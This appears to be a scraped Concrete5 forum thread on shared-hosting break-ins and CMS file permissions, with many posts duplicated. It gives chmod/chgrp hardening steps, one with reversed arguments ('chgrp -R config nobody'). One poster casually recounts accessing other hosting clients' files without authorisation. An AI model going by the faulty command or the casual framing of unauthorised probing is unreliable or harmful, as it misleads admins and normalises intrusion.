I'm posting here because I think Concrete5 is beyond awesome. It would be horrible to tarnish such a good system with an achilles heel like this. So I hope that any part that c5 has in this can be eliminated.
Rackspace are also awesome. At this point, I just can't see where they can improve though, or where they could be at fault here.
I have switched to using sshfs for every communication with the server, I don't know what else I could do that I haven't already.
So, thanks Remo for your thoughts here, I'll look into that too, and I'll take a few deep breaths and get some breakfast...
:)
Sure, I understand that you're p... about this stuff.
I just want to make sure that not everyone thinks Concrete5 has a major security issue. Some code could be rewritten to address this issue better though.
Yes, Concrete5 creates some subdirectories, but it doesn't set the permission on the directories in the root, this would be a documentation thing.
I don't think sshfs is necessary unless you work with a wifi. But it's better if you want to keep things secure for sure.
Wordpress 2.8.6 does it the same way:
It is possible to set the permissions to 0744 by default but that won't set the permissions to writable on all webserver because sometimes apache/php are running under a group user and not the file owner itself. I guess it not even Wordpress does it different it's unlikely to be easy to do better..
I just want to make sure that not everyone thinks Concrete5 has a major security issue. Some code could be rewritten to address this issue better though.
Yes, Concrete5 creates some subdirectories, but it doesn't set the permission on the directories in the root, this would be a documentation thing.
I don't think sshfs is necessary unless you work with a wifi. But it's better if you want to keep things secure for sure.
Wordpress 2.8.6 does it the same way:
It is possible to set the permissions to 0744 by default but that won't set the permissions to writable on all webserver because sometimes apache/php are running under a group user and not the file owner itself. I guess it not even Wordpress does it different it's unlikely to be easy to do better..
Just wanted to add in my experiences with web hosts.
I know for a fact, at least as of 3 or 4 months ago, Start Logic was/is completely vulnerable via CGI.
I found a CGI terminal app I needed to set up some symlinked folders for a c5 install because Start Logic wouldn't grant me SFTP or Shell access. I got curious and found out I could access and alter files in folders that belonged to other Start Logic clients. I'm not sure what user I was "logged in" as, but I would assume the httpd user.
I tested the same app on the Concrete5 servers, and thankfully this is not an issue. I have also tried other methods, purely out of red/white-hat curiousity. And as of yet, I have not had any success hacking a C5 installation hosted by Franz (C5). Though I have yet to attempt any MySQL injections or PHP session manipulation, but I presume sessions are fairly secure... but then again, that's purely a server/host issue. And the way Franz's servers are set up, I don't see sessions to be an issue.
I would have to agree that this is a SERVER/HOST issue, not on any part a C5 issue. Even if the permissions were set to only allow the owner write access, sometimes you get problems when the http deamon user is the owner... and then you can't access the files.
I've had issues with cache files doing this, where I had to log in as a super user to delete the files.
I think it would be best to 664, but, again, that would depend on the way the server is set up.
I know for a fact, at least as of 3 or 4 months ago, Start Logic was/is completely vulnerable via CGI.
I found a CGI terminal app I needed to set up some symlinked folders for a c5 install because Start Logic wouldn't grant me SFTP or Shell access. I got curious and found out I could access and alter files in folders that belonged to other Start Logic clients. I'm not sure what user I was "logged in" as, but I would assume the httpd user.
I tested the same app on the Concrete5 servers, and thankfully this is not an issue. I have also tried other methods, purely out of red/white-hat curiousity. And as of yet, I have not had any success hacking a C5 installation hosted by Franz (C5). Though I have yet to attempt any MySQL injections or PHP session manipulation, but I presume sessions are fairly secure... but then again, that's purely a server/host issue. And the way Franz's servers are set up, I don't see sessions to be an issue.
I would have to agree that this is a SERVER/HOST issue, not on any part a C5 issue. Even if the permissions were set to only allow the owner write access, sometimes you get problems when the http deamon user is the owner... and then you can't access the files.
I've had issues with cache files doing this, where I had to log in as a super user to delete the files.
I think it would be best to 664, but, again, that would depend on the way the server is set up.
while it may be the server/hosting issue… it is the "web app" i.e. concrete5 that sets the permissions for the files.
it's like ordering eggs sunny side up and adding tabasco sauce on top and then going back to the restaurant to say the eggs were too spicy?
moving forward… could someone from the concrete5 team identify which folders/etc permissions would preferably be changed to 755 or lower?
thanks!
it's like ordering eggs sunny side up and adding tabasco sauce on top and then going back to the restaurant to say the eggs were too spicy?
moving forward… could someone from the concrete5 team identify which folders/etc permissions would preferably be changed to 755 or lower?
thanks!
All seriousness aside...
Your analogy only makes sense if the reason why the eggs are too spicy is because the chef is cheap and gave you bad eggs and compensated with an overwelming amount of hot sauce...
Assuming the restaurant is your hosting company, the eggs representing your subscription, and the hot sauce is C5.
Back to reality, the reason why C5 is not the "problem" is because even if the file permissions were altered via C5 that doesn't change the issue that the server its self is insecure.
Don't get me wrong, changing the file permissions may make the files more secure for your situation. But at the same time, restricting access could be a problem for other instances.
Here is the healthy medium: Default File/Folder permissions set at installation and editable via Site Settings.
But the default should remain 0755, selfishly speaking.
Your analogy only makes sense if the reason why the eggs are too spicy is because the chef is cheap and gave you bad eggs and compensated with an overwelming amount of hot sauce...
Assuming the restaurant is your hosting company, the eggs representing your subscription, and the hot sauce is C5.
Back to reality, the reason why C5 is not the "problem" is because even if the file permissions were altered via C5 that doesn't change the issue that the server its self is insecure.
Don't get me wrong, changing the file permissions may make the files more secure for your situation. But at the same time, restricting access could be a problem for other instances.
Here is the healthy medium: Default File/Folder permissions set at installation and editable via Site Settings.
But the default should remain 0755, selfishly speaking.
I would think permissions should selfishly start with read write only 644. If thats the right chmod code, I am a bit rusty. You only really need execute permission on trusted executable code imo. Now that might be a bit of overkill, but thats me.
I don't like the idea of everything defaulting to world executable.
Really there are a number of things that can affect permissions and some of those will fall outside of the scope C5 control.
I don't like the idea of everything defaulting to world executable.
Really there are a number of things that can affect permissions and some of those will fall outside of the scope C5 control.
Sorry, 644 is correct. Execution is, for the most part, unnecessary, but you raise a good point. Again, its all based on the environment.
And I meant *personally* selfishly speaking... with about 15% jokingness in that statement.
And I meant *personally* selfishly speaking... with about 15% jokingness in that statement.
Yep, that sounds like something which will work for everyone.
755 would work and be secure on Rackspace, I can't say for others, some hosts will unfortunately require more insecure settings.
For my own case, the specific malicious visitor has been now identified as another Rackspace account, (and the actual username is also now known too), and they were using the cross-account file writing that I outlined earlier, and Rackspace is now looking further into this incident. They said it shouldn't be possible - but it's pretty clear that it is!
So I would like to second that suggestion for "Default File/Folder permissions set at installation and editable via Site Settings."
As for the default being 755, I can see how this would impact negatively on people installing c5 who know nothing about how this works, and just accept the default, but actually need (say) 777. Their install would not work and they would then complain nastily about c5. So, I can see that there would need to be some kind of system test done at installation before just setting it blithely at 755.
I'm more than happy to help look at making this happen, especially if someone wants to point me in some kind of general direction regarding which files to start looking at...
755 would work and be secure on Rackspace, I can't say for others, some hosts will unfortunately require more insecure settings.
For my own case, the specific malicious visitor has been now identified as another Rackspace account, (and the actual username is also now known too), and they were using the cross-account file writing that I outlined earlier, and Rackspace is now looking further into this incident. They said it shouldn't be possible - but it's pretty clear that it is!
So I would like to second that suggestion for "Default File/Folder permissions set at installation and editable via Site Settings."
As for the default being 755, I can see how this would impact negatively on people installing c5 who know nothing about how this works, and just accept the default, but actually need (say) 777. Their install would not work and they would then complain nastily about c5. So, I can see that there would need to be some kind of system test done at installation before just setting it blithely at 755.
I'm more than happy to help look at making this happen, especially if someone wants to point me in some kind of general direction regarding which files to start looking at...
drpitman, since you started this topic, I'll let you create the feature request. Make sure to vote it as a very important feature and I will be sure to cast my vote as well.
I think this is something the core team should look into and hopefully hammer into the next release.
I think this is something the core team should look into and hopefully hammer into the next release.
Here's how I setup permissions on a concrete site that's running on a "standard" linux box with php running as an apache module and apache running as the user "nobody". In this example "myname" will be the linux user that I'm logged in as. I'm also assuming that c5 is up and running already so the install process has already done it's thing.
Here's the directories that c5 needs to write to:
/files/7
/packages/
They need to be public rx nobody rwx and myname rwx.
So I
$ chgrp -R nobody files packages
$ chmod -R 775 files packages
Then all the other files in the site should be fine as they are. You may also want to lock down the site.php file so your db credentials are not accessible by other system users if your host doesn't cage users properly.
$ chgrp -R config nobody
$ chmod 750 config
$ chmod 640 config/*
That'll make it so only you & the web app can read the config stuff.
I do agree that the way c5 writes all of it's uploaded files can be locked down a little, they don't need to be 777, but should be 666
Here's the directories that c5 needs to write to:
/files/7
/packages/
They need to be public rx nobody rwx and myname rwx.
So I
$ chgrp -R nobody files packages
$ chmod -R 775 files packages
Then all the other files in the site should be fine as they are. You may also want to lock down the site.php file so your db credentials are not accessible by other system users if your host doesn't cage users properly.
$ chgrp -R config nobody
$ chmod 750 config
$ chmod 640 config/*
That'll make it so only you & the web app can read the config stuff.
I do agree that the way c5 writes all of it's uploaded files can be locked down a little, they don't need to be 777, but should be 666
Whew. I haven't read all of the replies to all of this, but that won't stop me from chiming in anyway! ;-)
First, I want to thank everyone from checking into all this. I host some sites on Mediatemple and I've recently received some notifications about hacking/problems from them, so this has been on my mind, and I'm glad we have smart people putting together threads like this.
Next: we will try and look over all the instances in the core code where we work with 0777 permissions. We try not to EVER require that directories be 0777 specifically (instead, we check using is_writable, so that more secure setups that don't require 777 permissions in order to write to directories, like setups hardened with phpsuexec and apache/cgi will work.)
First, I want to thank everyone from checking into all this. I host some sites on Mediatemple and I've recently received some notifications about hacking/problems from them, so this has been on my mind, and I'm glad we have smart people putting together threads like this.
Next: we will try and look over all the instances in the core code where we work with 0777 permissions. We try not to EVER require that directories be 0777 specifically (instead, we check using is_writable, so that more secure setups that don't require 777 permissions in order to write to directories, like setups hardened with phpsuexec and apache/cgi will work.)
FYI,
This talk begins with Media Temple's security bleach.
So, here is their on-going investigation report.
#1026 Further Details
http://weblog.mediatemple.net/weblog/2009/11/30/1026-further-detail...
----------------------------------------
QUOTE:
"Was my site hacked because I use WordPress, Drupal, or other software?"
No. Early reports of sites being hacked came from customer websites powered by WordPress. Customer Support Agents misdiagnosed the issue as WordPress-specific, but that is not the case.
----------------------------------------
This talk begins with Media Temple's security bleach.
So, here is their on-going investigation report.
#1026 Further Details
http://weblog.mediatemple.net/weblog/2009/11/30/1026-further-detail...
----------------------------------------
QUOTE:
"Was my site hacked because I use WordPress, Drupal, or other software?"
No. Early reports of sites being hacked came from customer websites powered by WordPress. Customer Support Agents misdiagnosed the issue as WordPress-specific, but that is not the case.
----------------------------------------
Ryan, depending on your server configuration it could also be set to 644 or 664.. This is what would make it even more secure...?
But it's a bit tricky to know whether 644, 664 or 666 is required. At least I don't know how I'd do that right now
But it's a bit tricky to know whether 644, 664 or 666 is required. At least I don't know how I'd do that right now
Just moved to a new hosting company, subhosting.net and I faced the same permissions issue. I didn't want to use 777 and instead switch the PHP Handler (VPS hosting) to suphp.
This way, all files are owned by the user's account and there is no need for any kind of 777 or 666 permissions.
Also, when you actually use those permissions, the server will not allow it.
This way, all files are owned by the user's account and there is no need for any kind of 777 or 666 permissions.
Also, when you actually use those permissions, the server will not allow it.
It seems that there are some ways where a hacker can break into your folders and create files under them as long as the folder is publicly writable. My sites got many .htaccess and something.php under these places, and some of the existing PHP files were edited with garbage added. I think these were all publicly writable.
Unfortunately, I'm using a cpanel based hosting service (Network Redux) and not one of those mentioned here, but maybe the source of vulnerability is similar or same.
So far, the hosting service engineers have not admitted this problem exists. They blamed my password. However, my passwords are very strong and I never send them in the clear. I always use ssh/scp only.
Is this a common cpanel-related issue?
Is there a way to prevent this problem?
I run a few sites and currently use a reseller account for this. Is there a good alternative to this?
Thanks!
Unfortunately, I'm using a cpanel based hosting service (Network Redux) and not one of those mentioned here, but maybe the source of vulnerability is similar or same.
So far, the hosting service engineers have not admitted this problem exists. They blamed my password. However, my passwords are very strong and I never send them in the clear. I always use ssh/scp only.
Is this a common cpanel-related issue?
Is there a way to prevent this problem?
I run a few sites and currently use a reseller account for this. Is there a good alternative to this?
Thanks!
When logging in to a C5 site, how does it send the password from the browser to the server?
The login form of concrete5 sends the password MD5 encrypted. I would recommend you an ssl secured login if this is available on your servers.
I hope this is heard by someone: I'd like to see an option to log-in via ssl on /login exclusively.
MD5 is absolutely crackable with the rainbow tables.http://en.wikipedia.org/wiki/Rainbow_table... Some peeps have setup gpu computed rainbow crackers..
I hope this is heard by someone: I'd like to see an option to log-in via ssl on /login exclusively.
MD5 is absolutely crackable with the rainbow tables.http://en.wikipedia.org/wiki/Rainbow_table... Some peeps have setup gpu computed rainbow crackers..
Basically, when a username/password of FTP account is saved in your FTP client, this kind of virus/worm/whatever, will steal that password and use it to add some code, usually and <iframe> for some ads.
So, just change your passwords immediately and don't save it in your FTP client.